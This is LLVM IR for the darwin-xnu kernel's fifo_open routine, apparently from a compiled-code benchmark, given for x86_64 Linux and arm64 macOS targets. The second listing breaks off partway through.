0}
SoftEtherVPN_src_Cedar_extr_Admin.c_InRpcConfig
; ModuleID = 'AnghaBench/darwin-xnu/bsd/miscfs/fifofs/extr_fifo_vnops.c_fifo_open.c' source_filename = "AnghaBench/darwin-xnu/bsd/miscfs/fifofs/extr_fifo_vnops.c_fifo_open.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.vnop_open_args = type { i32, i32, ptr } %struct.vnode = type { i32, ptr } %struct.fifoinfo = type { i32, i32, i32, ptr, ptr } %struct.socket = type { i32, %struct.TYPE_2__ } %struct.TYPE_2__ = type { i32 } @.str = private unnamed_addr constant [27 x i8] c"fifo_open with no fifoinfo\00", align 1 @FIFO_CREATED = dso_local local_unnamed_addr global i32 0, align 4 @FIFO_INCREATE = dso_local local_unnamed_addr global i32 0, align 4 @FIFO_CREATEWAIT = dso_local local_unnamed_addr global i32 0, align 4 @PRIBIO = dso_local local_unnamed_addr global i32 0, align 4 @PCATCH = dso_local local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [15 x i8] c"fifocreatewait\00", align 1 @AF_LOCAL = dso_local local_unnamed_addr global i32 0, align 4 @SOCK_STREAM = dso_local local_unnamed_addr global i32 0, align 4 @SS_CANTRCVMORE = dso_local local_unnamed_addr global i32 0, align 4 @PIPE_BUF = dso_local local_unnamed_addr global i32 0, align 4 @SS_CANTSENDMORE = dso_local local_unnamed_addr global i32 0, align 4 @FREAD = dso_local local_unnamed_addr global i32 0, align 4 @FWRITE = dso_local local_unnamed_addr global i32 0, align 4 @O_NONBLOCK = dso_local local_unnamed_addr global i32 0, align 4 @PSOCK = dso_local local_unnamed_addr global i32 0, align 4 @.str.2 = private unnamed_addr constant [7 x i8] c"fifoor\00", align 1 @ENXIO = dso_local local_unnamed_addr global i32 0, align 4 @.str.3 = private unnamed_addr constant [7 x i8] c"fifoow\00", align 1 ; Function Attrs: nounwind uwtable define dso_local i32 @fifo_open(ptr nocapture noundef readonly %0) local_unnamed_addr #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = getelementptr inbounds %struct.vnop_open_args, ptr %0, i64 0, i32 2 %5 = load ptr, ptr %4, align 8, !tbaa !5 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %2) #3 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3 %6 = tail call i32 @vnode_lock(ptr noundef %5) #3 %7 = getelementptr inbounds %struct.vnode, ptr %5, i64 0, i32 1 br label %8 8: ; preds = %22, %1 %9 = load ptr, ptr %7, align 8, !tbaa !11 %10 = icmp eq ptr %9, null br i1 %10, label %11, label %13 11: ; preds = %8 %12 = tail call i32 @panic(ptr noundef nonnull @.str) #3 br label %13 13: ; preds = %11, %8 %14 = load i32, ptr %9, align 8, !tbaa !13 %15 = load i32, ptr @FIFO_CREATED, align 4, !tbaa !15 %16 = and i32 %15, %14 %17 = icmp eq i32 %16, 0 br i1 %17, label %18, label %89 18: ; preds = %13 %19 = load i32, ptr @FIFO_INCREATE, align 4, !tbaa !15 %20 = and i32 %19, %14 %21 = icmp eq i32 %20, 0 br i1 %21, label %32, label %22 22: ; preds = %18 %23 = load i32, ptr @FIFO_CREATEWAIT, align 4, !tbaa !15 %24 = or i32 %23, %14 store i32 %24, ptr %9, align 8, !tbaa !13 %25 = load i32, ptr @PRIBIO, align 4, !tbaa !15 %26 = load i32, ptr @PCATCH, align 4, !tbaa !15 %27 = or i32 %26, %25 %28 = tail call i32 @msleep(ptr noundef nonnull %9, ptr noundef nonnull %5, i32 noundef %27, ptr noundef nonnull @.str.1, ptr noundef null) #3 %29 = icmp eq i32 %28, 0 br i1 %29, label %8, label %30 30: ; preds = %22 %31 = tail call i32 @vnode_unlock(ptr noundef nonnull %5) #3 br label %227 32: ; preds = %18 %33 = or i32 %19, %14 store i32 %33, ptr %9, align 8, !tbaa !13 %34 = tail call i32 @vnode_unlock(ptr noundef nonnull %5) #3 %35 = load i32, ptr @AF_LOCAL, align 4, !tbaa !15 %36 = load i32, ptr @SOCK_STREAM, align 4, !tbaa !15 %37 = call i32 @socreate(i32 noundef %35, ptr noundef nonnull %2, i32 noundef %36, i32 noundef 0) #3 %38 = icmp eq i32 %37, 0 br i1 %38, label %39, label %211 39: ; preds = %32 %40 = load i32, ptr @AF_LOCAL, align 4, !tbaa !15 %41 = load i32, ptr @SOCK_STREAM, align 4, !tbaa !15 %42 = call i32 @socreate(i32 noundef %40, ptr noundef nonnull %3, i32 noundef %41, i32 noundef 0) #3 %43 = icmp eq i32 %42, 0 br i1 %43, label %44, label %207 44: ; preds = %39 %45 = load ptr, ptr %3, align 8, !tbaa !16 %46 = load ptr, ptr %2, align 8, !tbaa !16 %47 = call i32 @soconnect2(ptr noundef %45, ptr noundef %46) #3 %48 = icmp eq i32 %47, 0 br i1 %48, label %52, label %49 49: ; preds = %44 %50 = load ptr, ptr %3, align 8, !tbaa !16 %51 = call i32 @soclose(ptr noundef %50) #3 br label %207 52: ; preds = %44 %53 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 2 store i32 0, ptr %53, align 8, !tbaa !17 %54 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 1 store i32 0, ptr %54, align 4, !tbaa !18 %55 = load ptr, ptr %3, align 8, !tbaa !16 %56 = call i32 @socket_lock(ptr noundef %55, i32 noundef 1) #3 %57 = load i32, ptr @SS_CANTRCVMORE, align 4, !tbaa !15 %58 = load ptr, ptr %3, align 8, !tbaa !16 %59 = load i32, ptr %58, align 4, !tbaa !19 %60 = or i32 %59, %57 store i32 %60, ptr %58, align 4, !tbaa !19 %61 = load i32, ptr @PIPE_BUF, align 4, !tbaa !15 %62 = getelementptr inbounds %struct.socket, ptr %58, i64 0, i32 1 store i32 %61, ptr %62, align 4, !tbaa !22 %63 = call i32 @socket_unlock(ptr noundef nonnull %58, i32 noundef 1) #3 %64 = load ptr, ptr %2, align 8, !tbaa !16 %65 = call i32 @socket_lock(ptr noundef %64, i32 noundef 1) #3 %66 = load i32, ptr @SS_CANTSENDMORE, align 4, !tbaa !15 %67 = load ptr, ptr %2, align 8, !tbaa !16 %68 = load i32, ptr %67, align 4, !tbaa !19 %69 = or i32 %68, %66 store i32 %69, ptr %67, align 4, !tbaa !19 %70 = call i32 @socket_unlock(ptr noundef nonnull %67, i32 noundef 1) #3 %71 = call i32 @vnode_lock(ptr noundef nonnull %5) #3 %72 = load ptr, ptr %2, align 8, !tbaa !16 %73 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 3 store ptr %72, ptr %73, align 8, !tbaa !23 %74 = load ptr, ptr %3, align 8, !tbaa !16 %75 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 4 store ptr %74, ptr %75, align 8, !tbaa !24 %76 = load i32, ptr @FIFO_CREATED, align 4, !tbaa !15 %77 = load i32, ptr %9, align 8, !tbaa !13 %78 = or i32 %77, %76 store i32 %78, ptr %9, align 8, !tbaa !13 %79 = load i32, ptr @FIFO_INCREATE, align 4, !tbaa !15 %80 = xor i32 %79, -1 %81 = and i32 %78, %80 store i32 %81, ptr %9, align 8, !tbaa !13 %82 = load i32, ptr @FIFO_CREATEWAIT, align 4, !tbaa !15 %83 = and i32 %82, %81 %84 = icmp eq i32 %83, 0 br i1 %84, label %89, label %85 85: ; preds = %52 %86 = xor i32 %82, -1 %87 = and i32 %81, %86 store i32 %87, ptr %9, align 8, !tbaa !13 %88 = call i32 @wakeup(ptr noundef nonnull %9) #3 br label %89 89: ; preds = %13, %85, %52 %90 = load i32, ptr %0, align 8, !tbaa !25 %91 = load i32, ptr @FREAD, align 4, !tbaa !15 %92 = and i32 %91, %90 %93 = icmp eq i32 %92, 0 br i1 %93, label %114, label %94 94: ; preds = %89 %95 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 1 %96 = load i32, ptr %95, align 4, !tbaa !18 %97 = add nsw i32 %96, 1 store i32 %97, ptr %95, align 4, !tbaa !18 %98 = icmp eq i32 %96, 0 br i1 %98, label %99, label %114 99: ; preds = %94 %100 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 4 %101 = load ptr, ptr %100, align 8, !tbaa !24 %102 = call i32 @socket_lock(ptr noundef %101, i32 noundef 1) #3 %103 = load i32, ptr @SS_CANTSENDMORE, align 4, !tbaa !15 %104 = xor i32 %103, -1 %105 = load ptr, ptr %100, align 8, !tbaa !24 %106 = load i32, ptr %105, align 4, !tbaa !19 %107 = and i32 %106, %104 store i32 %107, ptr %105, align 4, !tbaa !19 %108 = call i32 @socket_unlock(ptr noundef nonnull %105, i32 noundef 1) #3 %109 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 2 %110 = load i32, ptr %109, align 8, !tbaa !17 %111 = icmp sgt i32 %110, 0 br i1 %111, label %112, label %114 112: ; preds = %99 %113 = call i32 @wakeup(ptr noundef nonnull %109) #3 br label %114 114: ; preds = %94, %112, %99, %89 %115 = load i32, ptr %0, align 8, !tbaa !25 %116 = load i32, ptr @FWRITE, align 4, !tbaa !15 %117 = and i32 %116, %115 %118 = icmp eq i32 %117, 0 br i1 %118, label %139, label %119 119: ; preds = %114 %120 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 2 %121 = load i32, ptr %120, align 8, !tbaa !17 %122 = add nsw i32 %121, 1 store i32 %122, ptr %120, align 8, !tbaa !17 %123 = icmp eq i32 %121, 0 br i1 %123, label %124, label %139 124: ; preds = %119 %125 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 3 %126 = load ptr, ptr %125, align 8, !tbaa !23 %127 = call i32 @socket_lock(ptr noundef %126, i32 noundef 1) #3 %128 = load i32, ptr @SS_CANTRCVMORE, align 4, !tbaa !15 %129 = xor i32 %128, -1 %130 = load ptr, ptr %125, align 8, !tbaa !23 %131 = load i32, ptr %130, align 4, !tbaa !19 %132 = and i32 %131, %129 store i32 %132, ptr %130, align 4, !tbaa !19 %133 = call i32 @socket_unlock(ptr noundef nonnull %130, i32 noundef 1) #3 %134 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 1 %135 = load i32, ptr %134, align 4, !tbaa !18 %136 = icmp sgt i32 %135, 0 br i1 %136, label %137, label %139 137: ; preds = %124 %138 = call i32 @wakeup(ptr noundef nonnull %134) #3 br label %139 139: ; preds = %119, %137, %124, %114 %140 = load i32, ptr %0, align 8, !tbaa !25 %141 = load i32, ptr @FREAD, align 4, !tbaa !15 %142 = and i32 %141, %140 %143 = icmp eq i32 %142, 0 br i1 %143, label %167, label %144 144: ; preds = %139 %145 = load i32, ptr @O_NONBLOCK, align 4, !tbaa !15 %146 = and i32 %145, %140 %147 = icmp eq i32 %146, 0 br i1 %147, label %148, label %167 148: ; preds = %144 %149 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 2 %150 = load i32, ptr %149, align 8, !tbaa !17 %151 = icmp eq i32 %150, 0 br i1 %151, label %152, label %167 152: ; preds = %148 %153 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 1 %154 = load i32, ptr @PCATCH, align 4, !tbaa !15 %155 = load i32, ptr @PSOCK, align 4, !tbaa !15 %156 = or i32 %155, %154 %157 = call i32 @msleep(ptr noundef nonnull %153, ptr noundef nonnull %5, i32 noundef %156, ptr noundef nonnull @.str.2, ptr noundef null) #3 %158 = icmp eq i32 %157, 0 br i1 %158, label %159, label %200 159: ; preds = %152 %160 = load i32, ptr %153, align 4, !tbaa !18 %161 = icmp eq i32 %160, 1 br i1 %161, label %162, label %167 162: ; preds = %159 %163 = load i32, ptr %149, align 8, !tbaa !17 %164 = icmp sgt i32 %163, 0 br i1 %164, label %165, label %167 165: ; preds = %162 %166 = call i32 @wakeup(ptr noundef nonnull %149) #3 br label %167 167: ; preds = %148, %162, %165, %159, %144, %139 %168 = load i32, ptr %0, align 8, !tbaa !25 %169 = load i32, ptr @FWRITE, align 4, !tbaa !15 %170 = and i32 %169, %168 %171 = icmp eq i32 %170, 0 br i1 %171, label %198, label %172 172: ; preds = %167 %173 = load i32, ptr @O_NONBLOCK, align 4, !tbaa !15 %174 = and i32 %173, %168 %175 = icmp eq i32 %174, 0 %176 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 1 %177 = load i32, ptr %176, align 4, !tbaa !18 %178 = icmp eq i32 %177, 0 br i1 %175, label %182, label %179 179: ; preds = %172 br i1 %178, label %180, label %198 180: ; preds = %179 %181 = load i32, ptr @ENXIO, align 4, !tbaa !15 br label %200 182: ; preds = %172 br i1 %178, label %183, label %198 183: ; preds = %182 %184 = getelementptr inbounds %struct.fifoinfo, ptr %9, i64 0, i32 2 %185 = load i32, ptr @PCATCH, align 4, !tbaa !15 %186 = load i32, ptr @PSOCK, align 4, !tbaa !15 %187 = or i32 %186, %185 %188 = call i32 @msleep(ptr noundef nonnull %184, ptr noundef nonnull %5, i32 noundef %187, ptr noundef nonnull @.str.3, ptr noundef null) #3 %189 = icmp eq i32 %188, 0 br i1 %189, label %190, label %200 190: ; preds = %183 %191 = load i32, ptr %184, align 8, !tbaa !17 %192 = icmp eq i32 %191, 1 br i1 %192, label %193, label %198 193: ; preds = %190 %194 = load i32, ptr %176, align 4, !tbaa !18 %195 = icmp sgt i32 %194, 0 br i1 %195, label %196, label %198 196: ; preds = %193 %197 = call i32 @wakeup(ptr noundef nonnull %176) #3 br label %198 198: ; preds = %179, %190, %196, %193, %182, %167 %199 = call i32 @vnode_unlock(ptr noundef nonnull %5) #3 br label %227 200: ; preds = %183, %152, %180 %201 = phi i32 [ %157, %152 ], [ %181, %180 ], [ %188, %183 ] %202 = load i32, ptr %0, align 8, !tbaa !25 %203 = getelementptr inbounds %struct.vnop_open_args, ptr %0, i64 0, i32 1 %204 = load i32, ptr %203, align 4, !tbaa !26 %205 = call i32 @fifo_close_internal(ptr noundef nonnull %5, i32 noundef %202, i32 noundef %204, i32 noundef 1) #3 %206 = call i32 @vnode_unlock(ptr noundef nonnull %5) #3 br label %227 207: ; preds = %39, %49 %208 = phi i32 [ %47, %49 ], [ %42, %39 ] %209 = load ptr, ptr %2, align 8, !tbaa !16 %210 = call i32 @soclose(ptr noundef %209) #3 br label %211 211: ; preds = %207, %32 %212 = phi i32 [ %37, %32 ], [ %208, %207 ] %213 = call i32 @vnode_lock(ptr noundef nonnull %5) #3 %214 = load i32, ptr @FIFO_INCREATE, align 4, !tbaa !15 %215 = xor i32 %214, -1 %216 = load i32, ptr %9, align 8, !tbaa !13 %217 = and i32 %216, %215 store i32 %217, ptr %9, align 8, !tbaa !13 %218 = load i32, ptr @FIFO_CREATEWAIT, align 4, !tbaa !15 %219 = and i32 %218, %217 %220 = icmp eq i32 %219, 0 br i1 %220, label %225, label %221 221: ; preds = %211 %222 = xor i32 %218, -1 %223 = and i32 %217, %222 store i32 %223, ptr %9, align 8, !tbaa !13 %224 = call i32 @wakeup(ptr noundef nonnull %9) #3 br label %225 225: ; preds = %221, %211 %226 = call i32 @vnode_unlock(ptr noundef nonnull %5) #3 br label %227 227: ; preds = %225, %200, %198, %30 %228 = phi i32 [ %28, %30 ], [ %212, %225 ], [ %201, %200 ], [ 0, %198 ] call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3 call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %2) #3 ret i32 %228 } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare i32 @vnode_lock(ptr noundef) local_unnamed_addr #2 declare i32 @panic(ptr noundef) local_unnamed_addr #2 declare i32 @msleep(ptr noundef, ptr noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @vnode_unlock(ptr noundef) local_unnamed_addr #2 declare i32 @socreate(i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @soclose(ptr noundef) local_unnamed_addr #2 declare i32 @soconnect2(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @socket_lock(ptr noundef, i32 noundef) local_unnamed_addr #2 declare i32 @socket_unlock(ptr noundef, i32 noundef) local_unnamed_addr #2 declare i32 @wakeup(ptr noundef) local_unnamed_addr #2 declare i32 @fifo_close_internal(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !10, i64 8} !6 = !{!"vnop_open_args", !7, i64 0, !7, i64 4, !10, i64 8} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"any pointer", !8, i64 0} !11 = !{!12, !10, i64 8} !12 = !{!"vnode", !7, i64 0, !10, i64 8} !13 = !{!14, !7, i64 0} !14 = !{!"fifoinfo", !7, i64 0, !7, i64 4, !7, i64 8, !10, i64 16, !10, i64 24} !15 = !{!7, !7, i64 0} !16 = !{!10, !10, i64 0} !17 = !{!14, !7, i64 8} !18 = !{!14, !7, i64 4} !19 = !{!20, !7, i64 0} !20 = !{!"socket", !7, i64 0, !21, i64 4} !21 = !{!"TYPE_2__", !7, i64 0} !22 = !{!20, !7, i64 4} !23 = !{!14, !10, i64 16} !24 = !{!14, !10, i64 24} !25 = !{!6, !7, i64 0} !26 = !{!6, !7, i64 4}
; ModuleID = 'AnghaBench/darwin-xnu/bsd/miscfs/fifofs/extr_fifo_vnops.c_fifo_open.c' source_filename = "AnghaBench/darwin-xnu/bsd/miscfs/fifofs/extr_fifo_vnops.c_fifo_open.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [27 x i8] c"fifo_open with no fifoinfo\00", align 1 @FIFO_CREATED = common local_unnamed_addr global i32 0, align 4 @FIFO_INCREATE = common local_unnamed_addr global i32 0, align 4 @FIFO_CREATEWAIT = common local_unnamed_addr global i32 0, align 4 @PRIBIO = common local_unnamed_addr global i32 0, align 4 @PCATCH = common local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [15 x i8] c"fifocreatewait\00", align 1 @AF_LOCAL = common local_unnamed_addr global i32 0, align 4 @SOCK_STREAM = common local_unnamed_addr global i32 0, align 4 @SS_CANTRCVMORE = common local_unnamed_addr global i32 0, align 4 @PIPE_BUF = common local_unnamed_addr global i32 0, align 4 @SS_CANTSENDMORE = common local_unnamed_addr global i32 0, align 4 @FREAD = common local_unnamed_addr global i32 0, align 4 @FWRITE = common local_unnamed_addr global i32 0, align 4 @O_NONBLOCK = common local_unnamed_addr global i32 0, align 4 @PSOCK = common local_unnamed_addr global i32 0, align 4 @.str.2 = private unnamed_addr constant [7 x i8] c"fifoor\00", align 1 @ENXIO = common local_unnamed_addr global i32 0, align 4 @.str.3 = private unnamed_addr constant [7 x i8] c"fifoow\00", align 1 ; Function Attrs: nounwind ssp uwtable(sync) define i32 @fifo_open(ptr nocapture noundef readonly %0) local_unnamed_addr #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = getelementptr inbounds i8, ptr %0, i64 8 %5 = load ptr, ptr %4, align 8, !tbaa !6 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %2) #3 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3 %6 = tail call i32 @vnode_lock(ptr noundef %5) #3 %7 = getelementptr inbounds i8, ptr %5, i64 8 br label %8 8: ; preds = %22, %1 %9 = load ptr, ptr %7, align 8, !tbaa !12 %10 = icmp eq ptr %9, null br i1 %10, label %11, label %13 11: ; preds = %8 %12 = tail call i32 @panic(ptr noundef nonnull @.str) #3 br label %13 13: ; preds = %11, %8 %14 = load i32, ptr %9, align 8, !tbaa !14 %15 = load i32, ptr @FIFO_CREATED, align 4, !tbaa !16 %16 = and i32 %15, %14 %17 = icmp eq i32 %16, 0 br i1 %17, label %18, label %88 18: ; preds = %13 %19 = load i32, ptr @FIFO_INCREATE, align 4, !tbaa !16 %20 = and i32 %19, %14 %21 = icmp eq i32 %20, 0 br i1 %21, label %32, label %22 22: ; preds = %18 %23 = load i32, ptr @FIFO_CREATEWAIT, align 4, !tbaa !16 %24 = or i32 %23, %14 store i32 %24, ptr %9, align 8, !tbaa !14 %25 = load i32, ptr @PRIBIO, align 4, !tbaa !16 %26 = load i32, ptr @PCATCH, align 4, !tbaa !16 %27 = or i32 %26, %25 %28 = tail call i32 @msleep(ptr noundef nonnull %9, ptr noundef nonnull %5, i32 noundef %27, ptr noundef nonnull @.str.1, ptr noundef null) #3 %29 = icmp eq i32 %28, 0 br i1 %29, label %8, label %30 30: ; preds = %22 %31 = tail call i32 @vnode_unlock(ptr noundef nonnull %5) #3 br label %226 32: ; preds = %18 %33 = or i32 %19, %14 store i32 %33, ptr %9, align 8, !tbaa !14 %34 = tail call i32 @vnode_unlock(ptr noundef nonnull %5) #3 %35 = load i32, ptr @AF_LOCAL, align 4, !tbaa !16 %36 = load i32, ptr @SOCK_STREAM, align 4, !tbaa !16 %37 = call i32 @socreate(i32 noundef %35, ptr noundef nonnull %2, i32 noundef %36, i32 noundef 0) #3 %38 = icmp eq i32 %37, 0 br i1 %38, label %39, label %210 39: ; preds = %32 %40 = load i32, ptr @AF_LOCAL, align 4, !tbaa !16 %41 = load i32, ptr @SOCK_STREAM, align 4, !tbaa !16 %42 = call i32 @socreate(i32 noundef %40, ptr noundef nonnull %3, i32 noundef %41, i32 noundef 0) #3 %43 = icmp eq i32 %42, 0 br i1 %43, label %44, label %206 44: ; preds = %39 %45 = load ptr, ptr %3, align 8, !tbaa !17 %46 = load ptr, ptr %2, align 8, !tbaa !17 %47 = call i32 @soconnect2(ptr noundef %45, ptr noundef %46) #3 %48 = icmp eq i32 %47, 0 br i1 %48, label %52, label %49 49: ; preds = %44 %50 = load ptr, ptr %3, align 8, !tbaa !17 %51 = call i32 @soclose(ptr noundef %50) #3 br label %206 52: ; preds = %44 %53 = getelementptr inbounds i8, ptr %9, i64 4 store <2 x i32> zeroinitializer, ptr %53, align 4, !tbaa !16 %54 = load ptr, ptr %3, align 8, !tbaa !17 %55 = call i32 @socket_lock(ptr noundef %54, i32 noundef 1) #3 %56 = load i32, ptr @SS_CANTRCVMORE, align 4, !tbaa !16 %57 = load ptr, ptr %3, align 8, !tbaa !17 %58 = load i32, ptr %57, align 4, !tbaa !18 %59 = or i32 %58, %56 store i32 %59, ptr %57, align 4, !tbaa !18 %60 = load i32, ptr @PIPE_BUF, align 4, !tbaa !16 %61 = getelementptr inbounds i8, ptr %57, i64 4 store i32 %60, ptr %61, align 4, !tbaa !21 %62 = call i32 @socket_unlock(ptr noundef nonnull %57, i32 noundef 1) #3 %63 = load ptr, ptr %2, align 8, !tbaa !17 %64 = call i32 @socket_lock(ptr noundef %63, i32 noundef 1) #3 %65 = load i32, ptr @SS_CANTSENDMORE, align 4, !tbaa !16 %66 = load ptr, ptr %2, align 8, !tbaa !17 %67 = load i32, ptr %66, align 4, !tbaa !18 %68 = or i32 %67, %65 store i32 %68, ptr %66, align 4, !tbaa !18 %69 = call i32 @socket_unlock(ptr noundef nonnull %66, i32 noundef 1) #3 %70 = call i32 @vnode_lock(ptr noundef nonnull %5) #3 %71 = load ptr, ptr %2, align 8, !tbaa !17 %72 = getelementptr inbounds i8, ptr %9, i64 16 store ptr %71, ptr %72, align 8, !tbaa !22 %73 = load ptr, ptr %3, align 8, !tbaa !17 %74 = getelementptr inbounds i8, ptr %9, i64 24 store ptr %73, ptr %74, align 8, !tbaa !23 %75 = load i32, ptr @FIFO_CREATED, align 4, !tbaa !16 %76 = load i32, ptr %9, align 8, !tbaa !14 %77 = or i32 %76, %75 store i32 %77, ptr %9, align 8, !tbaa !14 %78 = load i32, ptr @FIFO_INCREATE, align 4, !tbaa !16 %79 = xor i32 %78, -1 %80 = and i32 %77, %79 store i32 %80, ptr %9, align 8, !tbaa !14 %81 = load i32, ptr @FIFO_CREATEWAIT, align 4, !tbaa !16 %82 = and i32 %81, %80 %83 = icmp eq i32 %82, 0 br i1 %83, label %88, label %84 84: ; preds = %52 %85 = xor i32 %81, -1 %86 = and i32 %80, %85 store i32 %86, ptr %9, align 8, !tbaa !14 %87 = call i32 @wakeup(ptr noundef nonnull %9) #3 br label %88 88: ; preds = %13, %84, %52 %89 = load i32, ptr %0, align 8, !tbaa !24 %90 = load i32, ptr @FREAD, align 4, !tbaa !16 %91 = and i32 %90, %89 %92 = icmp eq i32 %91, 0 br i1 %92, label %113, label %93 93: ; preds = %88 %94 = getelementptr inbounds i8, ptr %9, i64 4 %95 = load i32, ptr %94, align 4, !tbaa !25 %96 = add nsw i32 %95, 1 store i32 %96, ptr %94, align 4, !tbaa !25 %97 = icmp eq i32 %95, 0 br i1 %97, label %98, label %113 98: ; preds = %93 %99 = getelementptr inbounds i8, ptr %9, i64 24 %100 = load ptr, ptr %99, align 8, !tbaa !23 %101 = call i32 @socket_lock(ptr noundef %100, i32 noundef 1) #3 %102 = load i32, ptr @SS_CANTSENDMORE, align 4, !tbaa !16 %103 = xor i32 %102, -1 %104 = load ptr, ptr %99, align 8, !tbaa !23 %105 = load i32, ptr %104, align 4, !tbaa !18 %106 = and i32 %105, %103 store i32 %106, ptr %104, align 4, !tbaa !18 %107 = call i32 @socket_unlock(ptr noundef nonnull %104, i32 noundef 1) #3 %108 = getelementptr inbounds i8, ptr %9, i64 8 %109 = load i32, ptr %108, align 8, !tbaa !26 %110 = icmp sgt i32 %109, 0 br i1 %110, label %111, label %113 111: ; preds = %98 %112 = call i32 @wakeup(ptr noundef nonnull %108) #3 br label %113 113: ; preds = %93, %111, %98, %88 %114 = load i32, ptr %0, align 8, !tbaa !24 %115 = load i32, ptr @FWRITE, align 4, !tbaa !16 %116 = and i32 %115, %114 %117 = icmp eq i32 %116, 0 br i1 %117, label %138, label %118 118: ; preds = %113 %119 = getelementptr inbounds i8, ptr %9, i64 8 %120 = load i32, ptr %119, align 8, !tbaa !26 %121 = add nsw i32 %120, 1 store i32 %121, ptr %119, align 8, !tbaa !26 %122 = icmp eq i32 %120, 0 br i1 %122, label %123, label %138 123: ; preds = %118 %124 = getelementptr inbounds i8, ptr %9, i64 16 %125 = load ptr, ptr %124, align 8, !tbaa !22 %126 = call i32 @socket_lock(ptr noundef %125, i32 noundef 1) #3 %127 = load i32, ptr @SS_CANTRCVMORE, align 4, !tbaa !16 %128 = xor i32 %127, -1 %129 = load ptr, ptr %124, align 8, !tbaa !22 %130 = load i32, ptr %129, align 4, !tbaa !18 %131 = and i32 %130, %128 store i32 %131, ptr %129, align 4, !tbaa !18 %132 = call i32 @socket_unlock(ptr noundef nonnull %129, i32 noundef 1) #3 %133 = getelementptr inbounds i8, ptr %9, i64 4 %134 = load i32, ptr %133, align 4, !tbaa !25 %135 = icmp sgt i32 %134, 0 br i1 %135, label %136, label %138 136: ; preds = %123 %137 = call i32 @wakeup(ptr noundef nonnull %133) #3 br label %138 138: ; preds = %118, %136, %123, %113 %139 = load i32, ptr %0, align 8, !tbaa !24 %140 = load i32, ptr @FREAD, align 4, !tbaa !16 %141 = and i32 %140, %139 %142 = icmp eq i32 %141, 0 br i1 %142, label %166, label %143 143: ; preds = %138 %144 = load i32, ptr @O_NONBLOCK, align 4, !tbaa !16 %145 = and i32 %144, %139 %146 = icmp eq i32 %145, 0 br i1 %146, label %147, label %166 147: ; preds = %143 %148 = getelementptr inbounds i8, ptr %9, i64 8 %149 = load i32, ptr %148, align 8, !tbaa !26 %150 = icmp eq i32 %149, 0 br i1 %150, label %151, label %166 151: ; preds = %147 %152 = getelementptr inbounds i8, ptr %9, i64 4 %153 = load i32, ptr @PCATCH, align 4, !tbaa !16 %154 = load i32, ptr @PSOCK, align 4, !tbaa !16 %155 = or i32 %154, %153 %156 = call i32 @msleep(ptr noundef nonnull %152, ptr noundef nonnull %5, i32 noundef %155, ptr noundef nonnull @.str.2, ptr noundef null) #3 %157 = icmp eq i32 %156, 0 br i1 %157, label %158, label %199 158: ; preds = %151 %159 = load i32, ptr %152, align 4, !tbaa !25 %160 = icmp eq i32 %159, 1 br i1 %160, label %161, label %166 161: ; preds = %158 %162 = load i32, ptr %148, align 8, !tbaa !26 %163 = icmp sgt i32 %162, 0 br i1 %163, label %164, label %166 164: ; preds = %161 %165 = call i32 @wakeup(ptr noundef nonnull %148) #3 br label %166 166: ; preds = %147, %161, %164, %158, %143, %138 %167 = load i32, ptr %0, align 8, !tbaa !24 %168 = load i32, ptr @FWRITE, align 4, !tbaa 